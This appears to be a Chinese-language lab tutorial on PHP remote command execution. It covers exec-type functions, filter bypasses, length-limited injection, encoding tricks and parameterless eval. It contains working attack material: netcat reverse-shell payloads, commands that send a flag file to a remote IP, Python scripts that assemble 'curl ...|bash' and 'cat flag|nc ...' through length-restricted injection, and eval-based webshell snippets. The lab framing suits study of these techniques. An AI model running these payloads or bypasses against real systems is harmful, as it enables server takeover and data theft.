PHP RCE
靶场搭建
生成容器
docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085:85 -i -t mcc0624/cmd:latest bash -c '/etc/rc.local; /bin/bash'
管理网站
http://<IP>:18085/CZKJ2022 用户名:admin 密码:P@ssw0rd
SSH
用户名root 密码P@ssw0rd
不同端口对应的版本
80 ----> 5.0PHP
81 ----> 7.0PHP
82 ----> 7.3PHP
常见函数
system | exec | passthru | shell_exec |
---|---|---|---|
反引号 | popen | proc_open | pcntl_exec |
system()
system(string $command
, int &$result_code
= null
)
执行 command
参数所指定的命令,并且输出执行结果。
-
command:要执行的命令。
-
result_code:如果提供result_code参数,则外部命令执行后的返回状态会被设置到此变量中
<?php
echo '<pre>';
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('chdir', $retval);
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>
当执行正确时候,有回显,并且,result_code返回0
<?php
echo '<pre>';
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('1chdir', $retval);
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>
当执行错误时候,result_code返回1
exec()
exec(string $command
, array &$output
= null
, int &$result_code
= null
)
exec() 执行 command
参数所指定的命令。
-
command:要执行的命令,单独使用只有最后一行结果,且不会回显
-
output:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。
-
可以使用print_r()回显
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
var_dump($array);
echo PHP_EOL;
echo "--------";
print_r($array);
/*
array(10) {
[0]=>
string(8) "exec.php"
[1]=>
string(8) "flag.php"
[2]=>
string(12) "passthru.php"
[3]=>
string(9) "pcntl.php"
[4]=>
string(7) "pig.png"
[5]=>
string(9) "popen.php"
[6]=>
string(13) "proc_open.php"
[7]=>
string(9) "quote.php"
[8]=>
string(14) "shell_exec.php"
[9]=>
string(10) "system.php"
}
Array
(
[0] => exec.php
[1] => flag.php
[2] => passthru.php
[3] => pcntl.php
[4] => pig.png
[5] => popen.php
[6] => proc_open.php
[7] => quote.php
[8] => shell_exec.php
[9] => system.php
)
*/
passthru()
passthru(string $command
, int &$result_code
= null
)
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif
, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
-
command
要执行的命令, 有回显。
-
result_code
如果提供
result_code
参数, Unix 命令的返回状态会被记录到此参数。
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo "This is test!!!";
passthru($cmd);
/*
This is test!!!exec.php flag.php passthru.php pcntl.php pig.png popen.php proc_open.php quote.php shell_exec.php system.php
*/
shell_exec()
shell_exec(string $command
)
-
command
要执行的命令。
环境执行命令,并且将完整的输出以字符串的方式返回。功能等同于反引号
借用echo、print等输出结果
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo $output;
/*
exec.php flag.php passthru.php pcntl.php pig.png popen.php proc_open.php quote.php shell_exec.php system.php
*/
popen()
popen(string $command
, string $mode
)
-
command:要执行的命令
-
mode:模式 "r" 读"w"写
通过fgets(),fgetss(),fread(),获取内容,print_r(),echo等输出内容
<?php
$a = popen('chdir','r');
//echo fgets($a);
//echo fread($a,100); //第二个参数为读取几个
echo fgetss($a);
/*
D:\phpstudy_pro\WWW\php.ppp\mlzx
*/
proc_open()
proc_open( array|string $command
, array $descriptor_spec
, array &$pipes
, ?string $cwd
= null
, ?array $env_vars
= null
, ?array $options
= null
)
-
command:形式执行的命令行。特殊字符必须经过转义,并且使用正确的引号。
-
descriptor_spec:定义数组内容
-
pipes:调用数组内容
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("file","/tmp/error-output.txt","a") //标准输出错误
);
$fp = proc_open($cmd,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
/*
/www/admin/localhost_80/wwwroot/class01
*/
反引号
反引号 ``
反引号里面跟要执行的命令
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo `$cmd`,PHP_EOL;
/*
/www/admin/localhost_80/wwwroot/class01
*/
pcntl_exec()
需单独加载组件
pcntl(string $path, array $args=?,array $array $envs=?)
-
参数path:必须要是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(如:#!/usr/local/bin/perl的perl脚本)
-
参数args:是一个要传递给程序的参数的字符串数组。
-
参数envs:是一个要传递给程序作为环境变量的字符串数组
#!bin/bash
path
-c /bin/ls
args
info信息:没有禁用pcntl_exec函数
pcntl_exec函数没有回显
解决方法一:cat文件并输出到有权限读取的路径
解决方法二:shell反弹
-
post提交
-
cmd=pcntl_exec("/bin/bash",array("-c","nc 192.168.1.1 7777 -e /bin/bash"));
-
参数path:"/bin/bash"
-
参数args:以数组的形式包裹起来
-
-c 执行二进制文件
-
nc反弹tcp连接
-
-e /bin/bash 返回命令行交互界面
-
-
过滤命令执行函数
替换
源码
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
eval($c);
}
else{
echo "你是黑客么?";
}
}
过滤了exec,system,popen,proc_open但是没有过滤passthru()
payload
http://192.168.71.140:18080/class02/1.php/?cmd=passthru('cat /flag');
LD_PRELOAD绕过
场景:disable_function禁用所有可能用到命令执行的函数
程序的链接
-
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开
-
装入时动态链接:源程序编译后所得到的一组目标模块,再装入内存时,边装入边链接
-
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接
对于动态链接来说,需要一个动态链接库,其作用于动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。
LD_PRELOAD介绍
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,可以在主程序和其它动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
| 内嵌在PHP中 |
---|---|
imagick | 需要扩展安装 |
绕过条件
-
能够上传自己的.so文件
-
能够控制环境变量的值(设置LD_PRELOAD)
代码分析
链接符
; | & | && | | | || |
---|
;
作用
-
使多个命令按顺序执行
-
前面的命令和后面的命令都会执行
#id;ls;pwd
&
作用
使用命令在后台运行,这样就可以运行多条命令(命令需要进行url编码)
&&
作用
如果前面的命令执行成功则执行后面的命令(命令需要进行url编码)
|
作用
将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;前面的命令和后面的命令都会执行,但只显示后面的命令执行结果
/bin/bash 把 ls -l 当成参数执行
||
作用
若前面的命令执行成功,则后面的命令不执行
若前面的命令执行失败,则执行后面的命令
空格过滤绕过
1、大括号
{cat,flag.txt}
2、$IFS
Linux下有个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)
$IFS ${IFS} $IFS$9
3、重定向字符
<
<>
<表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备
4、URL编码
-
%09(Tab)
-
%20(space)
文件名过滤绕过
通配符 ? * 绕过
通配符用来模糊搜索文件
?在Linux里面可以进行替换字母。?仅代表单个字符串,但此单词必须存在
*在Linux里面可以进行模糊。可以代表任何字符串
单引号和双引号
反斜线\绕过
把特殊字符去掉功能性,单纯表示为字符
特殊变量:$1-$9、$@、$*等
输出为空
内联执行
自定义字符串,在拼接起来
利用Linux中的环境变量
使用环境变量里的字符执行变量
${PATH}
文件读取绕过
tac:反向显示
与cat功能相似,但是内容是反向显示的,从最后一行往前开始显示
more:一页一页的显示档案内容
less
与more类似
tail
查看末尾几行,只显示最后10行
nl
显示的时候,顺便输出行号
od
以二进制的方式读取档案内容
需要加参数 -A d -c
xxd
读取二进制文件
sort
主要用于排序文件
uniq
报告或删除文件中重复的行
file -f
报错出具体内容
grep
在文本中查找指定的内容
?cmd=passthru("grep fla fla*")
# 从fla*文本中搜索包含fla字符串的行
编码绕过
绕过原理
base64编码
import base64
s = b'cat /flag'
e64 = base64.b64encode(s)
print(e64)
# Y2F0IC9mbGFn
cat /flag -> Y2F0IC9mbGFn
echo Y2F0IC9mbGFn | base64 -d | bash
把cat /flag的base64值,交给base64 -d,然后base64 -d的值交给bash执行命令(不止有bash还有ash、bash、ksh、csh、zsh等等)
还可以使用反引号
?cmd=system("`echo Y2F0IC9mbGFn | base64 -d`");
加括号和$
?cmd=system("$(echo Y2F0IC9mbGFn | base64 -d)");
base32编码
同base64,只需要将命令编码成base32
HEX编码
import binascii
s = b'cat /flag'
h = binascii.b2a_hex(s)
print(h)
# 636174202f666c6167
cat /flag -> 636174202f666c6167
echo "636174202f666c6167" | xxd -r -p | bash
-r -p 将纯二进制存储的反向输出打印为ASCII格式
同样也可以使用反引号和$加括号
shellcode编码
16进制表示的字符串
命令盲注
页面无法shell反弹或者无法回显,或者没有写入权限,可以尝试盲注。根据返回的时间来判断
相关Linux命令
-
sleep N:N秒后返回结果
-
awk NR:cat的内容交给awk显示一行,再交给cut显示第几位
-
cut -c:逐条获取单个字符
-
if语句
判断命令是否执行
if [$(cat /flag | awk NR==1 | cut -c 1)==F];then echo "right";fi if[]里面判断语句是否为真,如果为真则执行echo "right",否则fi结束 if [$(cat /flag | awk NR==1 | cut -c 1)==F];then sleep 2;fi if[]里面判断语句是否为真,如果为真则执行sleep2,休眠2秒后返回结果,否则fi结束
长度过滤绕过
前置知识
>符合和>>
命令换行
ls -t命令
sh 命令
dir和*和rev命令
-
通过>来创建文件
echo "eecho" > a 创建文件a并把eecho写入到a文件里面
-
通过>>来追加
echo "1025" >> a
-
命令换行
相当于\把换行的命令连接到一起执行
cat a 可以写成 c\ a\ t\ \ a
-
ls -t命令
ls -t
按时间排序,最新的优先,只能精确到秒
-
dir和*和rev命令
dir:按列输出,不换行
相当于$(dir )会把文件名的第一个文件名当作命令执行
rev:可以反转文件每一行
组合使用
长度限制为7的绕过方法
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
$a = str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
exec(filter($_GET['cmd']));
} else {
echo "flag in local path flag file!!";
}
使用nc -lvp 7777
执行的命令: cat flag | nc 192.168.100.24 7777 cat展示内容,在通过nc反弹
脚本
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.107.128:18080/class09/2/index.php?cmd="
s = requests.session()
list=[
'>7777',
'>4\%20\\',
'>2\\',
'>100.\\',
'>168.\\',
'>2.\\',
'>19\\',
'>c\%20\\',
'>\|n\\',
'>ag\\',
'>fl\\',
'>t\ \\',
'>ca\\',
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
s.get(baseurl+"sh a")
# ls -t >a cat flag|nc 192.168.1.161 7777
###
因为ls -t>a字符长度为7超过5了
ls -t >a cat flag|nc 192.168.1.161 7777
而构造空格的字符最少为5个,但是又不能存在相同的文件名,所有7的方法不适用于5
解决方法
出自陈腾老师
脚本
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.107.128:18080/class09/3/index.php?cmd=" # 根据情况改动
s = requests.session()
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 192.168.1.161/1|bash
list2=[
">bash",
">\|\\",
">\/\\",
">4\\",
">2\\",
">0.\\",
">0\\",
">1\\",
">8.\\",
">16\\",
">2.\\",
">19\\",
">\ \\",
">rl\\",
">cu\\"
]
# list2根据情况改动
for i in list:
time.sleep(2)
url = baseurl+str(i)
s.get(url)
for j in list2:
time.sleep(2)
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
长度限制为4的绕过方法
因为5的绕过方法中使用了追加写入但是追加写入最少需要5个字符,超过了4个,不在适用于4个绕过
解决方法
-
构造 ls -t>g
-
构造一个反弹shell
curl 192.168.100.24|bash
curl 0xc0a86418|bash
-
反弹回来的shell查看flag
步骤一
构造 ls -t>g
>g\;
>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x
>g\;是为了防止g后面有其他文件名造成影响
步骤二
构造反弹shell
>ash
>b\
>\|\
>18\
>64\
>A8\
>C0\
>0x\
>\ \
>rl\
>cu\
无参数命令执行
-
HTTP请求头(php7.3)
-
利用全局变量RCE(php5/7)
-
利用session(php5)
-
使用scandir() 进行文件读取
请求头RCE
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
HTTP请求标头
-
getallheaders() 获取所有HTTP请求标头
-
pos()把第一项的值显示出来
?code=print_r(pos(getallheaders()));
-
end()把最后一项的值显示出来
-
apache_request_heawders() 功能与getallheaders()相似,适用于apache服务器
提取出来后可以使用eval来执行。例如提取了Connection那么,只需要写入对应的命令,就会被执行
无参数全局变量
利用全局变量RCE(php5/7)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
-
get_defined_vars() 返回所有已定义的值,所组成的数组
可以看到已经添加了命令,里面的cmd是可变的。目前还无法执行,还需要使用end()函数指向cmd命令然后使用eval执行cmd命令